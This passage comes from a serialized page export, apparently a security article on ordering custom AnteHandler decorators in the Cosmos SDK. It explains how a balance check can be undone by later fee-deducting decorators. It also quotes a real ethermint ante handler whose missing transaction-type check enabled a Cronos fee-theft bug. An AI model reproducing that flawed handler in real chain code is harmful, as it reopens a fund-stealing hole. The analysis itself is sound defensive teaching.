sigTx",{"type":25,"tag":271,"props":91873,"children":91874},{"style":13625},[91875],{"type":30,"value":44},{"type":25,"tag":271,"props":91877,"children":91878},{"style":13598},[91879],{"type":30,"value":91880},"ok",{"type":25,"tag":271,"props":91882,"children":91883},{"style":13603},[91884],{"type":30,"value":89532},{"type":25,"tag":271,"props":91886,"children":91887},{"style":13598},[91888],{"type":30,"value":81142},{"type":25,"tag":271,"props":91890,"children":91891},{"style":13625},[91892],{"type":30,"value":91893},".(",{"type":25,"tag":271,"props":91895,"children":91896},{"style":13609},[91897],{"type":30,"value":91898},"authsigning",{"type":25,"tag":271,"props":91900,"children":91901},{"style":13625},[91902],{"type":30,"value":1860},{"type":25,"tag":271,"props":91904,"children":91905},{"style":13609},[91906],{"type":30,"value":91907},"SigVerifiableTx",{"type":25,"tag":271,"props":91909,"children":91910},{"style":13625},[91911],{"type":30,"value":16299},{"type":25,"tag":271,"props":91913,"children":91914},{"class":13593,"line":16744},[91915,91919,91923,91927],{"type":25,"tag":271,"props":91916,"children":91917},{"style":16171},[91918],{"type":30,"value":25404},{"type":25,"tag":271,"props":91920,"children":91921},{"style":13603},[91922],{"type":30,"value":25989},{"type":25,"tag":271,"props":91924,"children":91925},{"style":13598},[91926],{"type":30,"value":91880},{"type":25,"tag":271,"props":91928,"children":91929},{"style":13625},[91930],{"type":30,"value":16431},{"type":25,"tag":271,"props":91932,"children":91933},{"class":13593,"line":16761},[91934,91938,91942,91946,91951,91955,91960],{"type":25,"tag":271,"props":91935,"children":91936},{"style":16171},[91937],{"type":30,"value":28866},{"type":25,"tag":271,"props":91939,"children":91940},{"style":13598},[91941],{"type":30,"value":38953},{"type":25,"tag":271,"props":91943,"children":91944},{"style":13625},[91945],{"type":30,"value":44},{"type":25,"tag":271,"props":91947,"children":91948},{"style":13598},[91949],{"type":30,"value":91950},"errorsmod",{"type":25,"tag":271,"props":91952,"children":91953},{"style":13625},[91954],{"type":30,"value":1860},{"type":25,"tag":271,"props":91956,"children":91957},{"style":13620},[91958],{"type":30,"value":91959},"Wrap",{"type":25,"tag":271,"props":91961,"children":91962},{"style":13625},[91963],{"type":30,"value":16609},{"type":25,"tag":271,"props":91965,"children":91966},{"class":13593,"line":16778},[91967,91972,91976,91981],{"type":25,"tag":271,"props":91968,"children":91969},{"style":13598},[91970],{"type":30,"value":91971},"            sdkerrors",{"type":25,"tag":271,"props":91973,"children":91974},{"style":13625},[91975],{"type":30,"value":1860},{"type":25,"tag":271,"props":91977,"children":91978},{"style":13598},[91979],{"type":30,"value":91980},"ErrTxDecode",{"type":25,"tag":271,"props":91982,"children":91983},{"style":13625},[91984],{"type":30,"value":14351},{"type":25,"tag":271,"props":91986,"children":91987},{"class":13593,"line":16791},[91988,91993],{"type":25,"tag":271,"props":91989,"children":91990},{"style":17388},[91991],{"type":30,"value":91992},"            \"invalid tx type\"",{"type":25,"tag":271,"props":91994,"children":91995},{"style":13625},[91996],{"type":30,"value":14351},{"type":25,"tag":271,"props":91998,"children":91999},{"class":13593,"line":16800},[92000],{"type":25,"tag":271,"props":92001,"children":92002},{"style":13625},[92003],{"type":30,"value":81435},{"type":25,"tag":271,"props":92005,"children":92006},{"class":13593,"line":16823},[92007],{"type":25,"tag":271,"props":92008,"children":92009},{"style":13625},[92010],{"type":30,"value":16501},{"type":25,"tag":271,"props":92012,"children":92013},{"class":13593,"line":16832},[92014],{"type":25,"tag":271,"props":92015,"children":92016},{"emptyLinePlaceholder":18},[92017],{"type":30,"value":16829},{"type":25,"tag":271,"props":92019,"children":92020},{"class":13593,"line":16841},[92021,92026,92030,92035,92039,92044],{"type":25,"tag":271,"props":92022,"children":92023},{"style":13598},[92024],{"type":30,"value":92025},"    signers",{"type":25,"tag":271,"props":92027,"children":92028},{"style":13603},[92029],{"type":30,"value":89532},{"type":25,"tag":271,"props":92031,"children":92032},{"style":13598},[92033],{"type":30,"value":92034}," sigTx",{"type":25,"tag":271,"props":92036,"children":92037},{"style":13625},[92038],{"type":30,"value":1860},{"type":25,"tag":271,"props":92040,"children":92041},{"style":13620},[92042],{"type":30,"value":92043},"GetSigners",{"type":25,"tag":271,"props":92045,"children":92046},{"style":13625},[92047],{"type":30,"value":20857},{"type":25,"tag":271,"props":92049,"children":92050},{"class":13593,"line":16907},[92051,92055,92059,92063,92067,92071,92075,92080],{"type":25,"tag":271,"props":92052,"children":92053},{"style":16171},[92054],{"type":30,"value":16174},{"type":25,"tag":271,"props":92056,"children":92057},{"style":13598},[92058],{"type":30,"value":16544},{"type":25,"tag":271,"props":92060,"children":92061},{"style":13625},[92062],{"type":30,"value":44},{"type":25,"tag":271,"props":92064,"children":92065},{"style":13598},[92066],{"type":30,"value":20269},{"type":25,"tag":271,"props":92068,"children":92069},{"style":13603},[92070],{"type":30,"value":89532},{"type":25,"tag":271,"props":92072,"children":92073},{"style":16171},[92074],{"type":30,"value":90512},{"type":25,"tag":271,"props":92076,"children":92077},{"style":13598},[92078],{"type":30,"value":92079}," signers",{"type":25,"tag":271,"props":92081,"children":92082},{"style":13625},[92083],{"type":30,"value":16431},{"type":25,"tag":271,"props":92085,"children":92086},{"class":13593,"line":16915},[92087,92092,92096,92101,92105,92110,92114,92119,92123,92127,92131,92135,92139,92144],{"type":25,"tag":271,"props":92088,"children":92089},{"style":13598},[92090],{"type":30,"value":92091},"        balance",{"type":25,"tag":271,"props":92093,"children":92094},{"style":13603},[92095],{"type":30,"value":89532},{"type":25,"tag":271,"props":92097,"children":92098},{"style":13598},[92099],{"type":30,"value":92100}," abd",{"type":25,"tag":271,"props":92102,"children":92103},{"style":13625},[92104],{"type":30,"value":1860},{"type":25,"tag":271,"props":92106,"children":92107},{"style":13598},[92108],{"type":30,"value":92109},"bk",{"type":25,"tag":271,"props":92111,"children":92112},{"style":13625},[92113],{"type":30,"value":1860},{"type":25,"tag":271,"props":92115,"children":92116},{"style":13620},[92117],{"type":30,"value":92118},"getBalance",{"type":25,"tag":271,"props":92120,"children":92121},{"style":13625},[92122],{"type":30,"value":394},{"type":25,"tag":271,"props":92124,"children":92125},{"style":13598},[92126],{"type":30,"value":33401},{"type":25,"tag":271,"props":92128,"children":92129},{"style":13625},[92130],{"type":30,"value":44},{"type":25,"tag":271,"props":92132,"children":92133},{"style":13598},[92134],{"type":30,"value":20269},{"type":25,"tag":271,"props":92136,"children":92137},{"style":13625},[92138],{"type":30,"value":44},{"type":25,"tag":271,"props":92140,"children":92141},{"style":13598},[92142],{"type":30,"value":92143},"ATOM",{"type":25,"tag":271,"props":92145,"children":92146},{"style":13625},[92147],{"type":30,"value":16299},{"type":25,"tag":271,"props":92149,"children":92150},{"class":13593,"line":16945},[92151,92155,92160,92164,92169,92173,92178],{"type":25,"tag":271,"props":92152,"children":92153},{"style":16171},[92154],{"type":30,"value":16412},{"type":25,"tag":271,"props":92156,"children":92157},{"style":13598},[92158],{"type":30,"value":92159}," balance",{"type":25,"tag":271,"props":92161,"children":92162},{"style":13625},[92163],{"type":30,"value":1860},{"type":25,"tag":271,"props":92165,"children":92166},{"style":13598},[92167],{"type":30,"value":92168},"Amount",{"type":25,"tag":271,"props":92170,"children":92171},{"style":13603},[92172],{"type":30,"value":21839},{"type":25,"tag":271,"props":92174,"children":92175},{"style":13598},[92176],{"type":30,"value":92177}," MIN_BALANCE",{"type":25,"tag":271,"props":92179,"children":92180},{"style":13625},[92181],{"type":30,"value":16431},{"type":25,"tag":271,"props":92183,"children":92184},{"class":13593,"line":16953},[92185,92190,92194,92198,92202,92206,92210],{"type":25,"tag":271,"props":92186,"children":92187},{"style":16171},[92188],{"type":30,"value":92189},"            return",{"type":25,"tag":271,"props":92191,"children":92192},{"style":13598},[92193],{"type":30,"value":38953},{"type":25,"tag":271,"props":92195,"children":92196},{"style":13625},[92197],{"type":30,"value":44},{"type":25,"tag":271,"props":92199,"children":92200},{"style":13598},[92201],{"type":30,"value":91950},{"type":25,"tag":271,"props":92203,"children":92204},{"style":13625},[92205],{"type":30,"value":1860},{"type":25,"tag":271,"props":92207,"children":92208},{"style":13620},[92209],{"type":30,"value":91959},{"type":25,"tag":271,"props":92211,"children":92212},{"style":13625},[92213],{"type":30,"value":16609},{"type":25,"tag":271,"props":92215,"children":92216},{"class":13593,"line":16984},[92217,92222],{"type":25,"tag":271,"props":92218,"children":92219},{"style":13598},[92220],{"type":30,"value":92221},"                ErrInsufficientBalance",{"type":25,"tag":271,"props":92223,"children":92224},{"style":13625},[92225],{"type":30,"value":14351},{"type":25,"tag":271,"props":92227,"children":92228},{"class":13593,"line":16992},[92229,92234],{"type":25,"tag":271,"props":92230,"children":92231},{"style":17388},[92232],{"type":30,"value":92233},"                \"Insufficient Balance\"",{"type":25,"tag":271,"props":92235,"children":92236},{"style":13625},[92237],{"type":30,"value":14351},{"type":25,"tag":271,"props":92239,"children":92240},{"class":13593,"line":17052},[92241],{"type":25,"tag":271,"props":92242,"children":92243},{"style":13625},[92244],{"type":30,"value":90628},{"type":25,"tag":271,"props":92246,"children":92247},{"class":13593,"line":22168},[92248],{"type":25,"tag":271,"props":92249,"children":92250},{"style":13625},[92251],{"type":30,"value":16492},{"type":25,"tag":271,"props":92253,"children":92254},{"class":13593,"line":22186},[92255],{"type":25,"tag":271,"props":92256,"children":92257},{"style":13625},[92258],{"type":30,"value":16501},{"type":25,"tag":271,"props":92260,"children":92261},{"class":13593,"line":22231},[92262],{"type":25,"tag":271,"props":92263,"children":92264},{"emptyLinePlaceholder":18},[92265],{"type":30,"value":16829},{"type":25,"tag":271,"props":92267,"children":92268},{"class":13593,"line":22337},[92269,92273,92278,92282,92286,92290,92295,92299,92304],{"type":25,"tag":271,"props":92270,"children":92271},{"style":16171},[92272],{"type":30,"value":30111},{"type":25,"tag":271,"props":92274,"children":92275},{"style":13620},[92276],{"type":30,"value":92277}," next",{"type":25,"tag":271,"props":92279,"children":92280},{"style":13625},[92281],{"type":30,"value":394},{"type":25,"tag":271,"props":92283,"children":92284},{"style":13598},[92285],{"type":30,"value":33401},{"type":25,"tag":271,"props":92287,"children":92288},{"style":13625},[92289],{"type":30,"value":44},{"type":25,"tag":271,"props":92291,"children":92292},{"style":13598},[92293],{"type":30,"value":92294},"tx",{"type":25,"tag":271,"props":92296,"children":92297},{"style":13625},[92298],{"type":30,"value":44},{"type":25,"tag":271,"props":92300,"children":92301},{"style":13598},[92302],{"type":30,"value":92303},"simulate",{"type":25,"tag":271,"props":92305,"children":92306},{"style":13625},[92307],{"type":30,"value":16299},{"type":25,"tag":271,"props":92309,"children":92310},{"class":13593,"line":36608},[92311],{"type":25,"tag":271,"props":92312,"children":92313},{"style":13625},[92314],{"type":30,"value":17058},{"type":25,"tag":26,"props":92316,"children":92317},{},[92318,92320,92325,92327,92333,92335,92341],{"type":30,"value":92319},"Where should this custom ",{"type":25,"tag":264,"props":92321,"children":92323},{"className":92322},[],[92324],{"type":30,"value":91583},{"type":30,"value":92326}," be placed relative to other ",{"type":25,"tag":264,"props":92328,"children":92330},{"className":92329},[],[92331],{"type":30,"value":92332},"AnteHandlers",{"type":30,"value":92334}," provided by cosmos-sdk?\nConsidering that we are only concerned with transactions that satisfy our check, inserting it right after the ",{"type":25,"tag":264,"props":92336,"children":92338},{"className":92337},[],[92339],{"type":30,"value":92340},"SetUpContextDecorator",{"type":30,"value":92342}," should work, right?",{"type":25,"tag":26,"props":92344,"children":92345},{},[92346],{"type":25,"tag":83,"props":92347,"children":92350},{"href":92348,"rel":92349},"https://github.com/cosmos/cosmos-sdk/blob/f0aec3f30dd952e1b4b3a5b25e0412c1af5baaac/x/auth/ante/ante.go#L41",[9066],[92351],{"type":30,"value":89853},{"type":25,"tag":7764,"props":92353,"children":92355},{"code":92354,"language":89280,"meta":7,"className":89281,"style":7},"anteDecorators := []sdk.AnteDecorator{\n    NewSetUpContextDecorator(), // outermost AnteDecorator. SetUpContext must be called first\n    // INSERT HERE\n    NewExtensionOptionsDecorator(options.ExtensionOptionChecker),\n    NewValidateBasicDecorator(),\n    NewTxTimeoutHeightDecorator(),\n    NewValidateMemoDecorator(options.AccountKeeper),\n    NewConsumeGasForTxSizeDecorator(options.AccountKeeper),\n    NewDeductFeeDecorator(options.AccountKeeper, options.BankKeeper, options.FeegrantKeeper, options.TxFeeChecker),\n    NewSetPubKeyDecorator(options.AccountKeeper), // SetPubKeyDecorator must be called before all signature verification decorators\n    NewValidateSigCountDecorator(options.AccountKeeper),\n    NewSigGasConsumeDecorator(options.AccountKeeper, options.SigGasConsumer),\n    NewSigVerificationDecorator(options.AccountKeeper, options.SignModeHandler),\n    NewIncrementSequenceDecorator(options.AccountKeeper),\n}\n",[92356],{"type":25,"tag":264,"props":92357,"children":92358},{"__ignoreMap":7},[92359,92392,92409,92417,92446,92458,92470,92499,92527,92606,92639,92667,92712,92757,92785],{"type":25,"tag":271,"props":92360,"children":92361},{"class":13593,"line":13594},[92362,92367,92371,92375,92379,92383,92388],{"type":25,"tag":271,"props":92363,"children":92364},{"style":13598},[92365],{"type":30,"value":92366},"anteDecorators",{"type":25,"tag":271,"props":92368,"children":92369},{"style":13603},[92370],{"type":30,"value":89532},{"type":25,"tag":271,"props":92372,"children":92373},{"style":13625},[92374],{"type":30,"value":89343},{"type":25,"tag":271,"props":92376,"children":92377},{"style":13609},[92378],{"type":30,"value":91843},{"type":25,"tag":271,"props":92380,"children":92381},{"style":13625},[92382],{"type":30,"value":1860},{"type":25,"tag":271,"props":92384,"children":92385},{"style":13609},[92386],{"type":30,"value":92387},"AnteDecorator",{"type":25,"tag":271,"props":92389,"children":92390},{"style":13625},[92391],{"type":30,"value":24005},{"type":25,"tag":271,"props":92393,"children":92394},{"class":13593,"line":11641},[92395,92400,92404],{"type":25,"tag":271,"props":92396,"children":92397},{"style":13620},[92398],{"type":30,"value":92399},"    NewSetUpContextDecorator",{"type":25,"tag":271,"props":92401,"children":92402},{"style":13625},[92403],{"type":30,"value":31497},{"type":25,"tag":271,"props":92405,"children":92406},{"style":14385},[92407],{"type":30,"value":92408},"// outermost AnteDecorator. SetUpContext must be called first\n",{"type":25,"tag":271,"props":92410,"children":92411},{"class":13593,"line":14354},[92412],{"type":25,"tag":271,"props":92413,"children":92414},{"style":14385},[92415],{"type":30,"value":92416},"    // INSERT HERE\n",{"type":25,"tag":271,"props":92418,"children":92419},{"class":13593,"line":14391},[92420,92425,92429,92433,92437,92442],{"type":25,"tag":271,"props":92421,"children":92422},{"style":13620},[92423],{"type":30,"value":92424},"    NewExtensionOptionsDecorator",{"type":25,"tag":271,"props":92426,"children":92427},{"style":13625},[92428],{"type":30,"value":394},{"type":25,"tag":271,"props":92430,"children":92431},{"style":13598},[92432],{"type":30,"value":49150},{"type":25,"tag":271,"props":92434,"children":92435},{"style":13625},[92436],{"type":30,"value":1860},{"type":25,"tag":271,"props":92438,"children":92439},{"style":13598},[92440],{"type":30,"value":92441},"ExtensionOptionChecker",{"type":25,"tag":271,"props":92443,"children":92444},{"style":13625},[92445],{"type":30,"value":19860},{"type":25,"tag":271,"props":92447,"children":92448},{"class":13593,"line":14400},[92449,92454],{"type":25,"tag":271,"props":92450,"children":92451},{"style":13620},[92452],{"type":30,"value":92453},"    NewValidateBasicDecorator",{"type":25,"tag":271,"props":92455,"children":92456},{"style":13625},[92457],{"type":30,"value":16636},{"type":25,"tag":271,"props":92459,"children":92460},{"class":13593,"line":16406},[92461,92466],{"type":25,"tag":271,"props":92462,"children":92463},{"style":13620},[92464],{"type":30,"value":92465},"    NewTxTimeoutHeightDecorator",{"type":25,"tag":271,"props":92467,"children":92468},{"style":13625},[92469],{"type":30,"value":16636},{"type":25,"tag":271,"props":92471,"children":92472},{"class":13593,"line":16434},[92473,92478,92482,92486,92490,92495],{"type":25,"tag":271,"props":92474,"children":92475},{"style":13620},[92476],{"type":30,"value":92477},"    NewValidateMemoDecorator",{"type":25,"tag":271,"props":92479,"children":92480},{"style":13625},[92481],{"type":30,"value":394},{"type":25,"tag":271,"props":92483,"children":92484},{"style":13598},[92485],{"type":30,"value":49150},{"type":25,"tag":271,"props":92487,"children":92488},{"style":13625},[92489],{"type":30,"value":1860},{"type":25,"tag":271,"props":92491,"children":92492},{"style":13598},[92493],{"type":30,"value":92494},"AccountKeeper",{"type":25,"tag":271,"props":92496,"children":92497},{"style":13625},[92498],{"type":30,"value":19860},{"type":25,"tag":271,"props":92500,"children":92501},{"class":13593,"line":16447},[92502,92507,92511,92515,92519,92523],{"type":25,"tag":271,"props":92503,"children":92504},{"style":13620},[92505],{"type":30,"value":92506},"    NewConsumeGasForTxSizeDecorator",{"type":25,"tag":271,"props":92508,"children":92509},{"style":13625},[92510],{"type":30,"value":394},{"type":25,"tag":271,"props":92512,"children":92513},{"style":13598},[92514],{"type":30,"value":49150},{"type":25,"tag":271,"props":92516,"children":92517},{"style":13625},[92518],{"type":30,"value":1860},{"type":25,"tag":271,"props":92520,"children":92521},{"style":13598},[92522],{"type":30,"value":92494},{"type":25,"tag":271,"props":92524,"children":92525},{"style":13625},[92526],{"type":30,"value":19860},{"type":25,"tag":271,"props":92528,"children":92529},{"class":13593,"line":16465},[92530,92535,92539,92543,92547,92551,92555,92559,92563,92568,92572,92576,92580,92585,92589,92593,92597,92602],{"type":25,"tag":271,"props":92531,"children":92532},{"style":13620},[92533],{"type":30,"value":92534},"    NewDeductFeeDecorator",{"type":25,"tag":271,"props":92536,"children":92537},{"style":13625},[92538],{"type":30,"value":394},{"type":25,"tag":271,"props":92540,"children":92541},{"style":13598},[92542],{"type":30,"value":49150},{"type":25,"tag":271,"props":92544,"children":92545},{"style":13625},[92546],{"type":30,"value":1860},{"type":25,"tag":271,"props":92548,"children":92549},{"style":13598},[92550],{"type":30,"value":92494},{"type":25,"tag":271,"props":92552,"children":92553},{"style":13625},[92554],{"type":30,"value":44},{"type":25,"tag":271,"props":92556,"children":92557},{"style":13598},[92558],{"type":30,"value":49150},{"type":25,"tag":271,"props":92560,"children":92561},{"style":13625},[92562],{"type":30,"value":1860},{"type":25,"tag":271,"props":92564,"children":92565},{"style":13598},[92566],{"type":30,"value":92567},"BankKeeper",{"type":25,"tag":271,"props":92569,"children":92570},{"style":13625},[92571],{"type":30,"value":44},{"type":25,"tag":271,"props":92573,"children":92574},{"style":13598},[92575],{"type":30,"value":49150},{"type":25,"tag":271,"props":92577,"children":92578},{"style":13625},[92579],{"type":30,"value":1860},{"type":25,"tag":271,"props":92581,"children":92582},{"style":13598},[92583],{"type":30,"value":92584},"FeegrantKeeper",{"type":25,"tag":271,"props":92586,"children":92587},{"style":13625},[92588],{"type":30,"value":44},{"type":25,"tag":271,"props":92590,"children":92591},{"style":13598},[92592],{"type":30,"value":49150},{"type":25,"tag":271,"props":92594,"children":92595},{"style":13625},[92596],{"type":30,"value":1860},{"type":25,"tag":271,"props":92598,"children":92599},{"style":13598},[92600],{"type":30,"value":92601},"TxFeeChecker",{"type":25,"tag":271,"props":92603,"children":92604},{"style":13625},[92605],{"type":30,"value":19860},{"type":25,"tag":271,"props":92607,"children":92608},{"class":13593,"line":16486},[92609,92614,92618,92622,92626,92630,92634],{"type":25,"tag":271,"props":92610,"children":92611},{"style":13620},[92612],{"type":30,"value":92613},"    NewSetPubKeyDecorator",{"type":25,"tag":271,"props":92615,"children":92616},{"style":13625},[92617],{"type":30,"value":394},{"type":25,"tag":271,"props":92619,"children":92620},{"style":13598},[92621],{"type":30,"value":49150},{"type":25,"tag":271,"props":92623,"children":92624},{"style":13625},[92625],{"type":30,"value":1860},{"type":25,"tag":271,"props":92627,"children":92628},{"style":13598},[92629],{"type":30,"value":92494},{"type":25,"tag":271,"props":92631,"children":92632},{"style":13625},[92633],{"type":30,"value":28299},{"type":25,"tag":271,"props":92635,"children":92636},{"style":14385},[92637],{"type":30,"value":92638},"// SetPubKeyDecorator must be called before all signature verification decorators\n",{"type":25,"tag":271,"props":92640,"children":92641},{"class":13593,"line":16495},[92642,92647,92651,92655,92659,92663],{"type":25,"tag":271,"props":92643,"children":92644},{"style":13620},[92645],{"type":30,"value":92646},"    NewValidateSigCountDecorator",{"type":25,"tag":271,"props":92648,"children":92649},{"style":13625},[92650],{"type":30,"value":394},{"type":25,"tag":271,"props":92652,"children":92653},{"style":13598},[92654],{"type":30,"value":49150},{"type":25,"tag":271,"props":92656,"children":92657},{"style":13625},[92658],{"type":30,"value":1860},{"type":25,"tag":271,"props":92660,"children":92661},{"style":13598},[92662],{"type":30,"value":92494},{"type":25,"tag":271,"props":92664,"children":92665},{"style":13625},[92666],{"type":30,"value":19860},{"type":25,"tag":271,"props":92668,"children":92669},{"class":13593,"line":16744},[92670,92675,92679,92683,92687,92691,92695,92699,92703,92708],{"type":25,"tag":271,"props":92671,"children":92672},{"style":13620},[92673],{"type":30,"value":92674},"    NewSigGasConsumeDecorator",{"type":25,"tag":271,"props":92676,"children":92677},{"style":13625},[92678],{"type":30,"value":394},{"type":25,"tag":271,"props":92680,"children":92681},{"style":13598},[92682],{"type":30,"value":49150},{"type":25,"tag":271,"props":92684,"children":92685},{"style":13625},[92686],{"type":30,"value":1860},{"type":25,"tag":271,"props":92688,"children":92689},{"style":13598},[92690],{"type":30,"value":92494},{"type":25,"tag":271,"props":92692,"children":92693},{"style":13625},[92694],{"type":30,"value":44},{"type":25,"tag":271,"props":92696,"children":92697},{"style":13598},[92698],{"type":30,"value":49150},{"type":25,"tag":271,"props":92700,"children":92701},{"style":13625},[92702],{"type":30,"value":1860},{"type":25,"tag":271,"props":92704,"children":92705},{"style":13598},[92706],{"type":30,"value":92707},"SigGasConsumer",{"type":25,"tag":271,"props":92709,"children":92710},{"style":13625},[92711],{"type":30,"value":19860},{"type":25,"tag":271,"props":92713,"children":92714},{"class":13593,"line":16761},[92715,92720,92724,92728,92732,92736,92740,92744,92748,92753],{"type":25,"tag":271,"props":92716,"children":92717},{"style":13620},[92718],{"type":30,"value":92719},"    NewSigVerificationDecorator",{"type":25,"tag":271,"props":92721,"children":92722},{"style":13625},[92723],{"type":30,"value":394},{"type":25,"tag":271,"props":92725,"children":92726},{"style":13598},[92727],{"type":30,"value":49150},{"type":25,"tag":271,"props":92729,"children":92730},{"style":13625},[92731],{"type":30,"value":1860},{"type":25,"tag":271,"props":92733,"children":92734},{"style":13598},[92735],{"type":30,"value":92494},{"type":25,"tag":271,"props":92737,"children":92738},{"style":13625},[92739],{"type":30,"value":44},{"type":25,"tag":271,"props":92741,"children":92742},{"style":13598},[92743],{"type":30,"value":49150},{"type":25,"tag":271,"props":92745,"children":92746},{"style":13625},[92747],{"type":30,"value":1860},{"type":25,"tag":271,"props":92749,"children":92750},{"style":13598},[92751],{"type":30,"value":92752},"SignModeHandler",{"type":25,"tag":271,"props":92754,"children":92755},{"style":13625},[92756],{"type":30,"value":19860},{"type":25,"tag":271,"props":92758,"children":92759},{"class":13593,"line":16778},[92760,92765,92769,92773,92777,92781],{"type":25,"tag":271,"props":92761,"children":92762},{"style":13620},[92763],{"type":30,"value":92764},"    NewIncrementSequenceDecorator",{"type":25,"tag":271,"props":92766,"children":92767},{"style":13625},[92768],{"type":30,"value":394},{"type":25,"tag":271,"props":92770,"children":92771},{"style":13598},[92772],{"type":30,"value":49150},{"type":25,"tag":271,"props":92774,"children":92775},{"style":13625},[92776],{"type":30,"value":1860},{"type":25,"tag":271,"props":92778,"children":92779},{"style":13598},[92780],{"type":30,"value":92494},{"type":25,"tag":271,"props":92782,"children":92783},{"style":13625},[92784],{"type":30,"value":19860},{"type":25,"tag":271,"props":92786,"children":92787},{"class":13593,"line":16791},[92788],{"type":25,"tag":271,"props":92789,"children":92790},{"style":13625},[92791],{"type":30,"value":17058},{"type":25,"tag":26,"props":92793,"children":92794},{},[92795,92797,92802,92804,92810,92811,92817],{"type":30,"value":92796},"Unfortunately, that order wouldn't work. This is because there are other ",{"type":25,"tag":264,"props":92798,"children":92800},{"className":92799},[],[92801],{"type":30,"value":92332},{"type":30,"value":92803},", such as ",{"type":25,"tag":264,"props":92805,"children":92807},{"className":92806},[],[92808],{"type":30,"value":92809},"SigGasConsumeDecorator",{"type":30,"value":12218},{"type":25,"tag":264,"props":92812,"children":92814},{"className":92813},[],[92815],{"type":30,"value":92816},"ConsumeGasForTxSizeDecorator",{"type":30,"value":92818},", that modify account balances. By placing our decorator at the very start of the chain, we might pass the check and later have the signers' balances deducted before reaching the end of the decorator chain and starting transaction execution. Consequently, the invariance we intended to ensure may no longer hold, rendering our check useless.",{"type":25,"tag":26,"props":92820,"children":92821},{},[92822,92824,92830,92832,92837],{"type":30,"value":92823},"The easiest \"mitigation\" is to move our decorator down into the chain list. We say this lightly because it's important to consider various factors such as whether nested ",{"type":25,"tag":264,"props":92825,"children":92827},{"className":92826},[],[92828],{"type":30,"value":92829},"msgs",{"type":30,"value":92831}," are allowed (e.g. the authz module is present), as this precaution alone might not be enough to fully resolve the issue. Without a comprehensive understanding of the entire system, there is a risk that mistakes will still be made in the ",{"type":25,"tag":264,"props":92833,"children":92835},{"className":92834},[],[92836],{"type":30,"value":91658},{"type":30,"value":92838}," chain.",{"type":25,"tag":247,"props":92840,"children":92842},{"id":92841},"real-world-examples-2",[92843],{"type":30,"value":89803},{"type":25,"tag":26,"props":92845,"children":92846},{},[92847,92849,92854,92856,92863],{"type":30,"value":92848},"An instance of ",{"type":25,"tag":264,"props":92850,"children":92852},{"className":92851},[],[92853],{"type":30,"value":91583},{"type":30,"value":92855}," misuse is a ",{"type":25,"tag":83,"props":92857,"children":92860},{"href":92858,"rel":92859},"https://medium.com/immunefi/cronos-theft-of-transactions-fees-bugfix-postmortem-b33f941b9570",[9066],[92861],{"type":30,"value":92862},"Theft of Fund bug",{"type":30,"value":92864}," that was exploited in a Cronos contract.",{"type":25,"tag":26,"props":92866,"children":92867},{},[92868,92870,92875,92877,92882,92884,92890,92892,92898,92900,92905,92907,92912],{"type":30,"value":92869},"In this scenario, ",{"type":25,"tag":264,"props":92871,"children":92873},{"className":92872},[],[92874],{"type":30,"value":92829},{"type":30,"value":92876}," are multiplexed to different ",{"type":25,"tag":264,"props":92878,"children":92880},{"className":92879},[],[92881],{"type":30,"value":91583},{"type":30,"value":92883}," sets through the user-controlled ",{"type":25,"tag":264,"props":92885,"children":92887},{"className":92886},[],[92888],{"type":30,"value":92889},"ExtensionOptionsEthereumTx",{"type":30,"value":92891}," option. However, due to a lack of tx validation, if a ",{"type":25,"tag":264,"props":92893,"children":92895},{"className":92894},[],[92896],{"type":30,"value":92897},"MsgEthereumTx",{"type":30,"value":92899}," does not have ",{"type":25,"tag":264,"props":92901,"children":92903},{"className":92902},[],[92904],{"type":30,"value":92889},{"type":30,"value":92906}," specified, it will be routed to non-Ethereum ",{"type":25,"tag":264,"props":92908,"children":92910},{"className":92909},[],[92911],{"type":30,"value":92332},{"type":30,"value":92913},", failing to collect fees from users as intended. Consequently, attackers can exploit the fee refund at the end of transaction processing to steal funds.",{"type":25,"tag":26,"props":92915,"children":92916},{},[92917],{"type":25,"tag":83,"props":92918,"children":92921},{"href":92919,"rel":92920},"https://github.com/crypto-org-chain/ethermint/blob/82805507f7d2e83cad547736883dc22acfb52440/app/ante/ante.go#L33",[9066],[92922],{"type":30,"value":89853},{"type":25,"tag":7764,"props":92924,"children":92926},{"code":92925,"language":89280,"meta":7,"className":89281,"style":7},"func NewAnteHandler(\n    ak evmtypes.AccountKeeper,\n    bankKeeper evmtypes.BankKeeper,\n    evmKeeper EVMKeeper,\n    feeGrantKeeper authante.FeegrantKeeper,\n    channelKeeper channelkeeper.Keeper,\n    signModeHandler authsigning.SignModeHandler,\n) sdk.AnteHandler {\n    return func(\n        ctx sdk.Context, tx sdk.Tx, sim bool,\n    ) (newCtx sdk.Context, err error) {\n        var anteHandler sdk.AnteHandler\n\n        defer Recover(ctx.Logger(), &err)\n\n        txWithExtensions, ok := tx.(authante.HasExtensionOptionsTx)\n        if ok {\n            opts := txWithExtensions.GetExtensionOptions()\n            if len(opts) > 0 {\n                switch typeURL := opts[0].GetTypeUrl(); typeURL {\n                case \"/ethermint.evm.v1.ExtensionOptionsEthereumTx\":\n                    // handle as *evmtypes.MsgEthereumTx\n\n                    anteHandler = sdk.ChainAnteDecorators(\n                        NewEthSetUpContextDecorator(), // outermost AnteDecorator. SetUpContext must be called first\n                        ...\n                        NewEthIncrementSenderSequenceDecorator(ak), // innermost AnteDecorator.\n                    )\n\n                default:\n                    return ctx, stacktrace.Propagate(\n                        sdkerrors.Wrap(sdkerrors.ErrUnknownExtensionOptions, typeURL),\n                        \"rejecting tx with unsupported extension option\",\n                    )\n                }\n\n                return anteHandler(ctx, tx, sim)\n            }\n        }\n\n        // SHOULD CHECK TX IS NOT MsgEthereumTx HERE\n\n        switch tx.(type) {\n        case sdk.Tx:\n            anteHandler = sdk.ChainAnteDecorators(\n                authante.NewSetUpContextDecorator(), // outermost AnteDecorator. SetUpContext must be called first\n                 ...\n                authante.NewIncrementSequenceDecorator(ak), // innermost AnteDecorator\n            )\n        default:\n            return ctx, stacktrace.Propagate(\n                sdkerrors.Wrapf(sdkerrors.ErrUnknownRequest, \"invalid transaction type: %T\", tx),\n                \"transaction is not an SDK tx\",\n            )\n        }\n\n        return anteHandler(ctx, tx, sim)\n    